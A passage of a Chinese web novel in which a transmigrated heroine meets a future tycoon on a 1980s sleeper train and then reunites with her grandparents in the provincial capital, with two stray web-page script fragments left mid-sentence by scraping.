苏棠拿他没办法,只好放下水壶,帮他往铺位底下和行李架上塞东西。 硬卧空间狭窄,苏棠转个身的功夫,手里沉甸甸的筐不小心碰到了对面下铺那男人的小腿上。 眼见得男人动了动,苏棠赶紧说:“对不——” 话没说完,她就看见那本杂志从男人脸上滑落下来,露出一张她既陌生又熟悉的脸。 凌乱的短发,飞扬的眉毛,高挺的鼻梁,一副骄傲又不耐烦的神情,这不是刚才那个叫海峰的男人吗? 真是冤家路窄,她怎么偏偏跟他的铺位挨着? 到嘴边的对不起硬是说不下去,苏棠手里抱着筐,不禁皱起了眉头。 陆海峰坐直身,把杂志往靠窗的小桌板上一放,目光落在她身上。 “哟,又是你,小野猫。” 听到这个称呼,苏棠强压下去的怒气蹭地又窜了上来。 她咬住嘴唇,狠狠瞪了他一眼,用力把背筐塞进他铺位底下。 苏棠心里反复提醒自己,出外在外,一定不能惹是生非。 再说,眼前这男人一看就是个小心眼的,她好不容易补到卧铺票,可不想在接下来的旅途中招惹这个麻烦的家伙。 见她不说话,陆海峰唇边的笑意扩大了几分。 一旁的苏诚看了看气鼓鼓的苏棠,又看看神情散漫的陆海峰,不由得一头雾水。 他想了想,一脸认真地说:“这是我姐,她是人,不是猫。” 没想到他会突然开口,苏棠和陆海峰不约而同地看向他。 陆海峰挑了挑眉角,斜了苏诚一眼。 “噢?你姐不叫小野猫,那她叫什么名字?” 8. 第008章 神秘大佬 “我姐叫苏棠——” 苏诚话音未落,就被苏棠打断了。 “在外面别乱跟陌生人搭话,当心遇到坏人,把你卖了都不知道!” 苏棠推着苏诚,让他爬到中铺去,同时不忘瞪了陆海峰一眼。 接到苏棠警告意味十足的眼神,陆海峰毫不在意地回看过去。 “苏糖是吧,我记住你了。”他轻笑一声,用几个人都能听到的音量说,“人那么凶,名字倒挺甜的。” 苏诚从中铺探出头来,纠正道:“我姐的名字不是糖果的糖,是海棠的棠——” 苏棠忍无可忍,大声打断了苏诚。 “闭嘴,你不说话,没人拿你当哑巴!” 看苏棠凶巴巴的样子,陆海峰毫不掩饰地笑出了声。 苏棠一记眼刀飞了过去,怒道:“还有你,哄骗小孩子,觉得很好玩吗?” 陆海峰笑声一顿,饶有兴味地看着苏棠。 “这就炸毛了?怎么,想把我身上这背心也扯坏了?” 一句话提醒了苏棠,看到男人此刻身上只穿着一件白色背心,显然是衬衫坏了没得换,临时穿上对付一下的,她心里的怒气不由得消了几分,取而代之是隐隐的歉意。 说到底,自己扯坏了他的衣服,连句对不起都没说过呢。 苏棠咬了咬牙,深深吸了一口气,郑重地说:“海峰同志是吧,之前把你当成小偷,是我不对,弄坏了你的衬衫,也是我不小心,我跟你道歉,对不起。” 眼前的小姑娘个子娇娇小小的,虽然穿着一身带补丁的破旧衣服,脊背却挺得直直的。 一双清亮亮的眼睛又黑又大,眼尾处微微挑高,一条系得松松的麻花辫从脖颈后甩到胸前,随着她说话的节奏微微晃动,虽然神情泼辣,却依然难掩俏丽。 没想到她居然会出言道歉,陆海峰不由得微微一怔。 被误会成小偷,又被当众扯坏衬衫的那一丝不满,随着苏棠这番话也烟消云散。 他移开视线,正准备说什么,却被头顶一个突兀的声音打断。 “什么,我姐弄坏了你的衣服?” 苏诚虽然年少,却不是什么都不懂的孩子,苏棠跟这个陌生男人一见面,就一直剑拔弩张的,他还纳闷他们之间是出了什么事。 现在他总算听明白了,原来是姐姐弄坏了人家的衣服,还说他是小偷,难怪这个陌生的大哥生了一肚子气。 想到这里,苏诚也觉得很不好意思。 他赶紧从自己的铺位爬下来,从下铺拉出背筐,翻出几个油纸包。 “大哥,我姐一定不是故意的,你别生气,这些东西给你吃,算是我们给你赔罪。” 姐弟俩一个道歉一个拿东西,陆海峰要是再不说什么,还真成了小心眼了。 他接过纸包,随意地摆了摆手。 “算了算了,我不跟你们两个小孩子计较。” 苏棠听到这话,悄悄地松了一口气。 她还真担心眼前这个男人会不依不饶地让她赔衣服,之前扯开他衬衫的时候,她无意中扫了一眼标签,那上面印着好几行英文,其中有一个词是HongKong,一看就贵得很,现在的她可赔不起。 好女不吃眼前亏,这个道理她是明白的。 眼看着两人的气氛缓和下来,苏诚也总算放下了心。 “我叫苏诚,我跟姐姐要去省城,大哥,你去哪里呀?” 想着姐姐刚刚得罪过眼前这个男人,苏诚把苏棠刚才叮嘱的话都放到一边,主动跟陆海峰攀谈。 被一个十来岁的小孩搭讪,陆海峰似乎有些不习惯。 “我回省城。” “真巧,咱们是一路呢……” 正尬聊着,几个年约二十岁左右,衣着时髦的小伙子走了过来。 “海峰哥,你这铺位怎么这么远啊,过来找你还得挤半天!” “我看那个列车员是诚心把咱们分开吧,哪有补票能一人补一个车厢的?” “就算是诚心也没招儿啊,不补卧铺,难不成咱们还能一路站回家?” 几个年轻小伙子旁若无人地说笑着,苏棠听在耳中,默默闭紧嘴巴。 那列车员可是特意给她和苏诚安排的相邻的铺位,而且跟那个叫海峰的男人还挨着,明摆着是要分开这些人。 也是,这几个人一个个看着流里流气的,列车员哪敢把他们放在一起,要是聚在一块闹起事来可怎么办? 好在几个人心大,找到陆海峰就把这件事搁在一旁不提。 “走走走,咱们去餐车,点几个菜,再喝点儿啤酒,回来好睡觉。” 几人说着就往外走,陆海峰刚要起身,苏诚便出言提醒。 “大哥,餐车那边的饭菜可贵了,你把这些烧饼带上,一会儿跟几个大哥哥一起吃吧。” 看着苏诚真诚无比的眼睛,陆海峰无奈地叹了口气,拿起桌上的油纸包。 那几人已经走到前面,见陆海峰还没跟上,其中一个回头喊他。 “陆海峰,快点儿走啊!” 听到这个声音,刚刚躺下的苏棠一个弹跳,从床铺上坐起来。 她看着陆海峰转身离去的背影,几乎不敢相信自己的耳朵。 他叫什么,陆海峰!?书中那个神秘大佬? 穿到这里五六天了,这是她听到除了原主父母之外的,唯一一个在书中出现过的名字! 她记得这个陆海峰,是因为这个角色是出现在番外里的,原文女主人到中年,在九十年代遇到反派儿子复仇,陷入绝境之时,就是这个神秘大佬出手,帮原文男女主解决了麻烦。 当时她还吐槽作者是不是实在没什么可写的了,才又设计出一个九十年代的剧情线,没想到未来大佬居然就在她面前! 苏棠怔怔地坐在铺位上,拼命在记忆中搜索这个陆海峰的有关信息。 可能是因为番外剧情连不上,作者才硬生生又设计出一个超级大佬出来,在这段剧情里,这个叫陆海峰的男人几乎是全文最牛掰的人物,他出身神秘,地位尊贵,在整个省城呼风唤雨,不管政界还是商界的大人物对他都毕恭毕敬,不管多难的事,他一句话就能轻松解决。 想到这里,苏棠本能地捂住胸口,无比庆幸自己刚才保持理智,跟他道了歉。 她真是不要命了,居然敢惹这样一个人! 还好还好,现在还是八十年代,陆海峰能跟她挤同一个卧铺位,说明 () { $(''.inform'').remove(); $(''#content'').append('' 他还没有成长为文中的超级大佬。 苏棠松了口气,重新躺回枕头上。 这一趟旅程,注定不平凡啊。 陆海峰和同伴们一起到了餐车,找了个空桌坐下。 他随手把纸包丢在桌上,抽出桌上的餐巾纸擦擦手。 同伴们咋咋呼呼地喊着要点菜点啤酒,看到他扔下的油纸包,都好奇起来。 “海峰哥,这是什么?” 陆海峰想起那对姐弟,哼了一声,说:“别人给的赔礼。” “赔礼?让我瞧瞧,这是什么好东西?” 说着话,一个同伴就伸手拿起了油纸包。 “李闯,那是别人送给海峰的——” 话没说完,李闯已经打开了纸包。 “烧饼?茶叶蛋?谁家会拿这玩意当赔礼啊!” 看着纸包里的东西,李闯等人笑得直不起腰。 陆海峰皱皱眉头,面露不耐。 “你们爱吃就吃,不吃就扔了。” 看陆海峰伸手去拿纸包,李闯赶紧抢了过来。 “别呀,浪费粮食多可耻。红旗,卫国,赶紧拿着,快吃啊!” 几个大小伙子一大早上赶火车,都没来得及吃饭,餐车这里上菜又慢,这会儿见了吃的东西,哪里还忍得住。 反正陆海峰一向大方,几个烧饼茶叶蛋而已,他不会计较的。 抢着吃的东西最香,几个人嘻嘻哈哈的,不过一眨眼的功夫,每个人都抢了些烧饼和茶叶蛋。 只是才把东西塞进嘴里,下一秒,李闯他们不约而同地又吐了出来。 “哎呀,这是怎么做的啊,也太难吃了!” “这茶叶蛋是泡了几天了,蛋黄都黑透了!” “这烧饼你们咬的时候当心点,我这牙差点儿没硌掉了!” 姚红旗咧着嘴,一边吐槽,一边抬头看向陆海峰。 “海峰,这些东西你从哪儿弄来的?不会是专门坑咱们哥几个的吧?” 李闯更是龇着牙,大喊着叫服务员赶紧倒水来漱口。 “红旗,你说得没错,我就说嘛,海峰能有那么好心?还给咱们带吃的,合着是想毒死我们啊!” 陆海峰带了东西却不吃,这个举动落在李闯等人眼里,更坐实了他是诚心坑人的目的。 陆海峰懒得解释,翘着二郎腿说:“谁让你们吃了,活该!” 看他一脸幸灾乐祸,姚红旗他们不干了,非逼问他说出这些东西是哪来的。 陆海峰推开李闯和姚红旗,眼皮都不撩一下。 “说了是赔礼,是人家自己做的,放心,没毒。” 那丫头虽然嘴皮子利索不饶人,眼神却明亮清正,不会是给食物里下毒的坏人。 看那对姐弟那一身堪称褴褛的衣服,陆海峰压根就没想到他们会掏钱在外面买吃食。 没错,这些烧饼和茶叶蛋,一定是叫苏棠的姑娘自己做的,带着准备他们俩路上吃的。 幸好他没吃,要不然在衣服受罪以后,他的舌头也要受罪了。 真没想到,那小丫头看着挺厉害的,做出来的东西居然这么难吃! 以后谁要是娶了她,可真是倒了八辈子霉了! 9. 第009章 蛋糕 苏诚自作主张,把食物送给了陆海峰,面对苏棠就觉得有些愧疚。 吃的东西都被他送给了别人,他饿着倒没什么,可是姐姐要吃什么? 等到了晚饭的时间,苏诚主动提出要给苏棠买盒饭。 火车上的盒饭最便宜的一块钱一盒,他舍不得钱,于是跟卖盒饭的列车员说,他只买一盒。 之前苏棠怕两个人不小心走散了联系不上,提前给苏诚身上放了几块钱备用,这会儿苏棠看他拿着自己给他的钱买盒饭,都被这孩子气笑了。 她推开苏诚捏着钱的手,直接递钱过去。 “要两块五的那个,两盒。” 两块五的盒饭有肉有荷包蛋,比一块钱那个只有素菜和豆腐的盒饭好多了。 苏诚见姐姐这么大方,心里更愧疚了。 “姐,刚才是我不对,要送人东西,应该先问问你的。”苏诚低下头,小声道歉。 苏棠把盒饭往他手里一塞,说:“傻小子,我不是心疼那几个烧饼,我是替你发愁,你这么好骗,长大了可怎么办?” 苏诚手里捧着盒饭,一时间回不过神来。 姐姐说的是什么意思,他哪里傻了? 苏棠懒得说他了,催他快点吃饭。 过道的位置被上铺的乘客坐了,这会儿苏诚只能坐在陆海峰的铺位上,要是陆海峰现在回来,苏诚就得起来让位置。 姐弟俩抓紧时间吃完了饭,苏诚坐到苏棠的铺上,两人喝着水,说了会儿话,商量着明天到了省城,该怎么去找姥姥家。 车窗外的天色早已黑透了,列车员沿着车厢走了一遍,提醒着再过一会儿就要熄灯了。 卧铺车厢就是这点好,到时间就会熄灯,晚上乘客可以在车上好好睡一觉。 姐弟俩轮流去上了厕所,简单洗漱一下,苏棠让苏诚回中铺去睡觉。 她自己也躺了下来,目光却不由自主地落在对面空空的铺位上。 都快熄灯了,陆海峰怎么还不回来? 她皱了皱眉,觉得自己这种想法实在不可理喻。 他回不回来,跟她有什么关系? 苏棠转过身,背对着外面,努力闭上眼睛。 就在列车员过来再次提醒还有十分钟熄灯的时候,一阵脚步声传来,走到他们铺位中间停下。 苏棠下意识地竖起耳朵,眼角抬起一条缝隙,瞟向对面。 陆海峰回来了。 他个子很高,对普通人来说算是刚刚够用的铺位,对他来说就有些狭窄了。 苏棠用余光看到陆海峰把手里的东西放在桌板上,坐在自己的铺位上,晃了晃头,舒展了一下肩膀。 随着他轻微的动作,苏棠闻到一股淡淡的酒气。 他喝酒了? 陆海峰的活动幅度并不大,却足以让临近的人听到他回来了。 苏诚还没睡着,听到下铺的动静,就从上面探出头,笑着跟陆海峰打招呼。 “大哥,你回来啦?还有几分钟就要关灯了,你早点睡啊。” 陆海峰抬头看了一眼苏诚,便把刚才放在桌板上的东西拿起来,抬手递给苏诚。 “喏,给你的。” 他个子高手臂长,这个递东西的动作对他来说,连起身都不用。 苏诚本来只想打个招呼示好,没想到居然还有东西拿。 他下意识接过,隔着包装就闻到一股香喷喷的气味。 “大哥,你怎么还给我买东西啊?” “几块鸡蛋糕而已,就当做我谢谢你的烧饼和茶叶蛋了。”陆海峰说着话,已经躺在了枕头上。 礼尚往来,虽然这小子给自己的那些烧饼鸡蛋味道实在不敢恭维,可他也不好意思就这么直接收下。 看到餐车有鸡蛋糕,他就顺便买了几个,当做还礼。 苏诚听说是蛋糕,差点儿捧不住手里的东西。 “什么?这是蛋糕?这很贵的吧……” 他从没吃过蛋糕,但是看到苏家的人吃过,听苏家人说,那可是用鸡蛋做的,是非常珍贵非常难得的东西。 当然,他在苏家只有闻闻香味的份儿,别说蛋糕,连蛋糕渣都不会给他留下。 话音未落,车厢一暗,头顶的灯都熄灭了。 陆海峰的声音从下铺传来:“行了,别说话了,睡觉。” 苏诚张了张口,到底没敢再说什么。 他把纸包小心地放在枕头边上,闻着鸡蛋糕香甜的气息,一脸幸福地闭上眼睛。 今天晚上,他一定能做个好梦。 苏棠把两人的对话听在耳中,也有些诧异。 那点儿烧饼茶叶蛋不算什么好东西,又是苏诚主动说了当赔礼的,没想到陆海峰还会给他带鸡蛋糕。 这家伙,说他小气吧,还有点儿大方,说他大方吧,还真是小气。 车厢里熄了灯,却并非一片漆黑,桌板下的小夜灯散发着金黄色的淡淡光芒,让车厢显得朦胧而静谧。 在火车车轮一阵阵有节奏的声响中,劳累了一天的乘客们渐渐进入了梦乡。 苏棠却睡不着了,她悄悄翻了个身,视线投向对面铺位的方向。 厢壁底部的小灯泡亮了起来,昏暗的光线恰好勾勒出男人轮廓分明的侧脸,深邃的眉骨,高挺的鼻梁,薄而锐的唇角,从这个角度看过去,倒也称得上英俊。 书里对这个未来大佬的外貌描写不多,可没提过他年轻的时候这么帅啊! 趁着他睡觉,苏棠睁大眼睛,仔细地观察着他,同时努力在脑海里搜索关于他的描写。 好不容易逮到原书中出现的人物,她实在按捺不住心中的好奇。 再说,这可是未来的超级大佬啊!过了今晚,以后可能就没机会见到了! 或许是她目光太过明显,一片昏暗中,陆海峰浓黑的睫毛动了动,忽然睁开了眼睛。 他没有看向她,依然保持着平躺的姿势,目光直视着头顶的铺板。 “小丫头,你看够了没有?” 想是怕吵到别人睡觉,陆海峰的嗓音压得有些低沉,因此听起来磁性十足。 只是这张嘴说出来的话,实在不那么客气。 饶是苏棠胆大,也因为他这毫不掩饰的语气而有些脸红。 被他现场抓包,苏棠只不过尴尬了几秒钟,就反应过来。 她也不否认自己偷看,同样小声地哼了一声。 “谁稀罕?” 本想顶他几句,给自己找回场子,可想到他刚送了苏诚鸡蛋糕,苏棠还是决定再忍一忍。 “那个……我没别的意思啊,谢谢你给我弟弟买的蛋糕。” 陆海峰嗯了一声,低声说:“不算什么,我是怕你弟弟被你做的东西毒死。毕竟救人一命,胜造七级浮屠嘛。” 苏棠的脑海里停滞一秒,才反应过来他是在讽刺自己做的食物难吃。 自从她入了这一行,还是第一次有人敢质疑她的厨艺! 苏棠气得攥紧小手,恨不能跳起来揍他几拳。 他竟然说自己做的东西难吃,真是奇耻大辱! 听到隔壁铺位传来隐约的磨牙声,陆海峰忍不住轻笑,直接转身背对她,摆出不想再聊下去的姿势。 要不是担心影响到其他乘客休息,苏棠绝对不想放过他! 她一把拉起被子,用力蒙住了头。 长 () { $(''.inform'').remove(); $(''#content'').append('' 得再帅有什么用,就这家伙的毒舌本事,她这辈子都不想再听到他说一个字! 在车轮慢吞吞的哐当声中,苏棠总算渐渐睡着了。 绿皮车最不好的一点就是速度太慢,而且逢站必停,时不时还要停下来,等着对面错车。 直到第二天早上,火车才抵达本次列车终点站,省城江阳市。 直到下车,苏棠都没有再跟陆海峰说过话,甚至连看都不愿意看他一眼。 倒是苏诚态度热情,一个劲跟陆海峰说话,分开的时候还有些恋恋不舍。 那几块鸡蛋糕他当早饭吃了,真的很好吃! 虽然姐姐一直冷着脸,一副很看不上陆海峰的样子,但是苏诚觉得,这个陆大哥是个好人。 听到苏诚跟陆海峰道别的声音,背对着他们的苏棠如释重负。 终于不用再跟这个讨厌的家伙一路了,谢天谢地! 她拉着苏诚,从出站口走了出去。 省城,他们终于到了。 站在宽敞的站前街旁,苏诚看着眼前的车水马龙,高楼大厦,一脸紧张地靠在苏棠身边。 前几天他还在小山村里拖柴火,现在却到了省城这样的大城市,路上一辆辆飞驰的汽车,高高的楼房,还有熙熙攘攘的人群,都让他觉得十分不安。 苏棠安抚地拍了拍他的肩膀,先去一旁的邮政期刊亭,买了一份省城的地图。 这个时候没有手机导航,到达一个陌生的地方,买地图找路线是很方便的。 苏棠从原主的记忆中得知,他们的姥爷以前是师范学院的老师,这时候找人虽然不如现代不方便,可是也是有办法的,苏棠决定先去师范学院,打听一下姥爷的信息。 她在地图中找到师范学院的位置,上面标注着有哪几条公交线路经过,再从地图上的公交线路图找到离火车站最近的公交汽车。 这个时候是有出租车的,但是打车费用十分昂贵,苏棠虽然手里有钱,可并不准备花在打车这种事情上。 如今到了省城,以后用钱的地方还多着呢,她得省着点用。 苏棠确定好路线,带着苏诚去车站,一路找到了师范学院。 学校门卫看他们年纪这么小,又是一副风尘仆仆的样子,先让他们进去坐下,帮他们打了几个电话,很快就打听到了姥爷家现在的住址。 苏棠道过谢,顺着门卫大爷指的路线,先往部队大院的方向走,部队大院旁边就是师范学院家属楼。 这里是省城的老城区,姐弟俩穿过大街小巷,一路打听着,等找到李家的时候,已经累得气喘吁吁。 师范学院家属楼是一片解放初期建造的楼房,历经三十多年已经有些老旧,那个时代的住宅以实用为主,楼房中间和外围都有一排排的平房,有的被用来当装杂物的储藏室,也有一些房子住着人。 苏棠走到一处临街的小平房前,停下了脚步。 这里就是姥爷家了。 自从原主六岁父母双亡,就再也没见过姥爷一家,苏诚更不用说,姐弟俩成为孤儿的时候他才两岁,对亲生父母都没什么印象了,更何况是姥姥和姥爷。 这会儿姐弟俩站在李家门前,都不免有些紧张。 苏棠正准备上前敲门,就看到房门打开了,从里面走出一个步履蹒跚的老人。 这位老人看起来大概六十多岁的年纪,头发大半已经花白,他一只手端着搪瓷缸子,一手拄着一根木棍,慢慢走了出来。 门外便是街道,老人一出门,就看到了站在家门口的苏棠和苏诚。 他先是一愣,像是不敢相信自己的眼睛,他用力眨了几下眼睛,便怔怔地看着苏棠,完全挪不开视线。 10、第010章 照片 不知道为什么,一看到这个老人,苏棠就觉得鼻子一酸。 她轻轻吸了吸鼻子,小声问道:“您好,请问这是李老师家吗?” 李章儒想点头说是,可嘴唇像是黏住了,望着苏棠和苏诚,一时间竟说不出话来。 屋子里头的人听见声音,也走了出来。 “老头子,外头是谁来了啊——” 一个鬓发斑白的老太太走出门,一看到苏棠,瞬间愣在原地。 “你……你是……” 温礼香嘴唇微微哆嗦着,想要说些什么,却又不敢开口,只是跟李章儒一样,一眼不眨地望着姐弟俩。 见两个老人都是一副想说话又不敢说的样子,苏棠不由得红了眼眶。 “我叫苏棠,这是我弟弟苏诚,我们的妈妈叫李志玉……” 她的话还没说完,温礼香就快步上前,将姐弟俩一把搂在怀里。 “孩子,真的是你们!” 李章儒手里的搪瓷缸子咣当一声落在地上,他却恍若未觉,只定定地看着苏棠和苏诚,激动得说不出话来。 温礼香紧紧抱着他们,早已落下泪来。 “我一眼就认出你们来了,棠棠,你跟你妈年轻的时候长得一模一样……” 早逝的大女儿一直是老两口心中最深的痛,此刻看到跟李志玉如此相像的苏棠,两人忍不住老泪纵横。 温礼香抱着他们俩哭了好一会儿,才想起来什么。 “你们怎么来了?谁送你们过来的?哎呀,先进屋,进屋再说!” 乍一看到外孙和外孙女,温礼香激动得语无伦次。 李章儒也连连点头,赶紧挪动脚步让开门口。 “棠棠,诚诚,你俩累坏了吧,快进去歇着,姥爷去给你们买雪糕……” 温礼香攥着棠棠和诚诚的手,怎么也舍不得放开,听了李章儒的话忍不住笑。 “你是不是忘了自己那腿脚了?等你买完雪糕回来,天都黑了。你也快进屋吧,我去买!” 苏棠完全没有拒绝的机会,就被温礼香和李章儒拽进了屋。 温礼香给他们打水洗手,又给他们拿香皂,找干净毛巾,嘴里不住地说着话。 “你们俩怎么来了,是老苏家人送你们来的,还是你小姨他们来省城了?你们什么时候到的?怎么找过来的啊?对了,你俩饿不饿,想吃点啥?” 苏棠一时间不知道从哪一句开始回答,正要说话,又被李章儒打断。 “好不容易来一次,你们就多住些日子,到姥爷家了,就跟自己家一样!想吃什么就跟姥姥和姥爷说,千万别见外啊。” “对对,多吃点儿好的!看这俩孩子瘦的……” 看着苏棠和苏诚瘦小的样子,温礼香心疼得直掉眼泪。 她忽然想到什么,连忙解下围裙。 “你俩先坐着,姥姥去割块肉回来做饭,再晚点儿肉就卖没了!” 看温礼香风风火火的出去,连说话的功夫都不给,苏棠只有无奈地坐下。 从两个孩子一进屋,李章儒的视线就落在他们身上,一直没挪开过。 这会儿看苏诚洗完脸,站在地上一副局促不安的样子,李章儒赶紧站起身来。 “诚诚,来,坐姥爷这儿,这张椅子舒服些。” 苏诚哪能跟一个腿脚不好的老人抢椅子坐,连忙上前扶住他。 “姥爷,我不累,您快坐吧。” 李章儒只得坐下,又拉着诚诚坐在自己身边。 “诚诚,你今年十四了吧?姥爷这还有你的照片呢。” 李章儒指着墙上的相片框,苏棠和苏诚都抬头看了过去。 这相片框很大,里面贴着数十张大小不一的照片,几乎都是黑白照,苏棠依稀能分辨出年轻时候的李章儒和温礼香,还有几张全家福的照片,应该是李章儒的其他儿女和各自的家人。 其他小照片多是单人照,苏棠看到有几个孩子的成长照片,其中一张最小的两寸照是一个胖乎乎的小娃娃,头上挂着周岁照的横幅,照片下面是手写的字体,写着一九七五。 李章儒指着那张照片,说:“那是你爸妈给你拍的,特意寄给我们留个念想的。” 想到大女儿和女婿,李章儒的神情黯淡下来。 这是李家唯一一张苏诚的照片,第二年,李志玉夫妻双双去世,两个孩子成为孤儿,苏家人自然不会给他们拍照,更不会想着给李章儒他们寄照片了。 苏诚还是第一次看到自己的照片,好奇地走上前去细看。 “旁边这张是我姐吗?”苏诚指着照片问道。 跟苏诚一样,自从父母离世,苏棠也再也没有拍过照,李家这张相片框里的苏棠一直停留在四五岁的模样。 李章儒点点头,看了看墙上的照片,又看了看苏棠。 “时间过得真快,连你姐姐都长成大姑娘了。” 苏诚看到旁边的一张照片,忽然开口。 “这张照片我也有!” 紧接着,苏棠就看到苏诚打开他一直不离身的破挎包,从里面小心翼翼地拿出一个手工钉制的小相框。 黑白照片里是一家四口,男人慈爱,女人温柔,刚满周岁的儿子被妈妈抱在怀里,五岁的女儿靠在父亲怀中,笑容天真而甜美。 这张照片应该是洗了两张,一张在苏诚手中,同样的一张贴在李家的相片框里。 苏诚看着照片里的父母,轻声说道:“这是我从奶奶家仓房的角落里找到的……” 父母的死讯传来,苏家人就把姐弟俩从屋子里赶了出去,原本屋里的东西也都随手扔进了仓房。 不知什么时候,这张照片被苏诚发现,又用木头片钉了个相框,小心收藏起来。 苏棠这才知道,原来苏诚一路当宝贝护着的旧挎包,里面竟是他们的全家福。 这还是她第一次认真看原身的父母,不得不说,虽然在书中他们只是两个不起眼的炮灰,可是跟其他普通人一样,在自己孩子面前,他们依然是温柔耐心的爸爸妈妈。 李章儒看着苏诚,不禁眼圈一红。 “可怜的孩子,别伤心了,你们爸妈没了,还有姥爷呢。” 李章儒的手掌放在苏诚瘦弱的肩上,满眼都是心疼和怜惜。 苏诚抬头看向李章儒,含着眼泪笑了。 李章儒身体不好,这会儿却怎么也坐不住,一会儿去柜子里给他们翻糕点糖果,一会儿又要去洗水果,恨不能把家里好吃的好玩的都给他们端过来。 正说着话,外头传来温礼香欢快的声音。 “……对,买肉去了!今天我外孙女和我外孙来了,我把肉店剩下的肉都包圆了!” 温礼香像是在跟街坊寒暄,语气中满是掩不住的高兴。 “行啊,晚点儿你再来我家串门,我这俩外孙都长得可漂亮了,不怕你们看!” 一阵嘻嘻哈哈的说笑声过去,温礼香提着一大堆东西进了门。 苏棠见状,连忙上前接过。 温礼香把东西放在桌上,一边整理,一边跟他们说:“你们想吃红烧肉还是炒肉片?红烧肉好吃,就是炖的时间长点,你俩要是饿了,咱们就先炒几个菜吃,晚上再吃红烧肉……” “这葡萄是新下来的,可甜了。还有桃酥,你俩先吃着垫垫肚子,姥姥这就炒菜去!” “对了,还有汽水呢,老头子,你快去拿瓶起子,把汽水打开给孩子喝!” 见温礼香忙得团团转,苏棠走过去给她打下手。 “姥姥,我来帮你做饭。” 温礼香却硬按着她坐在凳子上,嗔怪地说:“哪有才进家门就干活的,就算不累,你也给我歇着,今天得让你尝尝姥姥的手艺!” 苏棠没办法,只好拿了葡萄出去洗。 很快几个家常菜就炒好了,温礼香把碗筷摆好,招呼他们过去吃饭。 苏棠和苏诚在桌旁坐好,见饭桌上是四菜一汤,分别是蒜薹炒肉,大葱炒鸡蛋,肉末炖豆腐,一盘切成片的香肠,还有一大碗西红柿鸡蛋汤。 对于还住在破旧的小平房里的李家来说,这应该是很丰盛的饭菜了。 温礼香坐下,不停地给姐弟俩盛汤夹菜,一个劲叫他们多吃点。 苏诚也确实是饿了,道过谢就拿起筷子吃了起来。 苏棠就着汤和菜吃了一碗饭,温礼香的手艺说不上好,却别有一种家常的滋味。 看着两个孩子大口吃饭,温礼香和李章儒都高兴起来,笑着看他们吃,时不时还给他们夹鸡蛋和肉,非要给他们的饭碗摞得高高的才肯罢手。 温礼香自己吃了半碗饭,就不吃了,跟苏棠和苏诚说话。 “前天你小姨才给我们打过电话,还说诚诚读书可用功了,天天在学校里待着都不愿意回家,说以后长大了还要考大学呢。” 两个老人年纪大了,李章儒腿脚又不好,出门很不方便,这些年都没有去苏家看过苏棠和苏诚。 关于他俩的消息,他们只能通过李志兰的转述才能知道。 李志兰怕两个老人担心,每次都尽可能的报喜不报忧。 听到温礼香的话,苏诚吃饭的动作慢了下来。 见苏诚低下头不说话,苏棠深吸了一口气,放下筷子。 “姥姥,姥爷,其实,诚诚从去年冬天就没再去过学校了。” 李章儒和温礼香的笑容齐齐凝滞,一脸诧异地看着苏棠。 苏棠继续说道:“我爷爷奶奶不给他交书本费,逼着他给家里干活。姥姥,姥爷,这些年你们送到苏家的钱,我们从来都没见过……” 11、第011章 真相 听着苏棠语气平静地说着姐弟俩在苏家的生活,温礼香的眼泪唰唰地往下流。 没等她说完,温礼香就起身抱住了他俩。 “我就说么,你俩要是过得好,咋能长这么瘦,穿的也破破烂烂的,这老苏家真不是人啊,咋能这么对你们俩?!” 李家虽然生活在省城,但是日子过得并不宽裕,这些年寄给苏家的钱,都是老两口从牙缝里省出来的,就怕俩孩子在苏家受委屈,吃不饱穿不好。 现在才知道,他们给苏家的钱全都喂了那些白眼狼! 想到这里,温礼香又是心疼,又是后悔。 “早知道你俩在老苏家过的是这样的日子,我就该早点儿把你们接过来,咱家再穷,也不至于苛待孩子啊!” 乍一见到两个孩子,她只顾着惊喜高兴,竟忘了问问俩孩子是怎么来的。 去买肉的路上,她才后知后觉地觉得不对劲。 如果是老苏家带他们来的,那苏家人怎么连面都不露?如果是李志兰送孩子过来的,那前天打电话的时候不可能不提这件事啊! 如果都不是,那就是俩孩子自己跑出来的。 两个孩子到底经历了什么,才会大老远跑到省城来? 如果路上再出点什么事儿……温礼香都不敢想下去。 她心疼孩子,本想等孩子吃饱了休息好了,再详细问问到底咋回事,可一听苏棠这么说,她就坐不住了。 这老苏家的人,对待自家骨肉都这么狠心,还算是人吗?! 李章儒在一旁气得直喘粗气,紧紧攥着木棍,用力敲着地砖。 “真是太不像话了!棠棠,诚诚,咱不回去了,说什么也不能回去了!姥爷就算不吃不喝,也要把你们养大成人!” 温礼香连连点头,攥着苏棠和苏诚的手不撒开。 “不走了,再也不走了!以后,你们就住在姥姥家,姥姥身体还结实着呢,肯定能养活你俩!” 苏棠还好,苏诚从小就没感受过长辈的慈爱,这会儿见到李章儒和温礼香对他这么好,连饭都吃不下去了,忍不住哭出了声。 以后,他也是有长辈疼的孩子了! 爷孙三人哭成一团,苏棠默了默,起身收拾桌子。 虽然李章儒和温礼香坚持要他们留下,可是苏棠看这几间小屋子,老两口住着也只是将将够用,再收留他们俩,只怕有些勉强。 而且,苏棠也不准备长期住在姥姥家里。 当然,她现在不能跟两个老人说起自己的打算,免得又刺激到他们。 既然已经到了省城,也找到了亲人,就暂时先安顿下来,省城这么大,她肯定能找到活计养活自己和苏诚的。 吃过饭,温礼香找出两身旧衣服,带着苏棠和苏诚去洗澡和理发。 至于两人身上的破衣服,换下来以后就被温礼香塞进了灶坑,烧了个一干二净,美其名曰,给姐弟俩去去晦气。 理过发洗过澡,换了干干净净的衣服,别说苏诚,连苏棠都觉得自己跟换了个人似的。 回到家,温礼香催着他俩去里间的炕上休息,自己则去炖红烧肉了。 在火车上虽然睡的是卧铺,这一天一夜也颠得人骨头缝生疼,姐弟俩盖上被子,没多久就睡着了。 这一觉不知睡了多久,等苏棠睁开眼睛,窗外的天都黑了。 她伸了个懒腰,正要起来,忽然听到外间传来一阵隐约的说话声。 “……那老苏家也太欺负人了!”一个陌生的男人声音响了起来,像是强压着极大的怒火,“棠棠他俩没了爸妈,他们就这么磋磨孩子!这事儿不能就这么算了,我非得找他们算账不可!” 紧接着又响起温礼香的声音:“志远,老苏家的事先不急,我叫你们过来,是想跟你们商量个事儿。” “妈,你说,我们听着呢。” 就听温礼香叹了口气,说:“你们俩回来得晚,是没瞧见那俩孩子刚到那时候的模样,又瘦又小的,一身衣服都是补丁,跟解放前那些逃难的孩子没什么两样……” 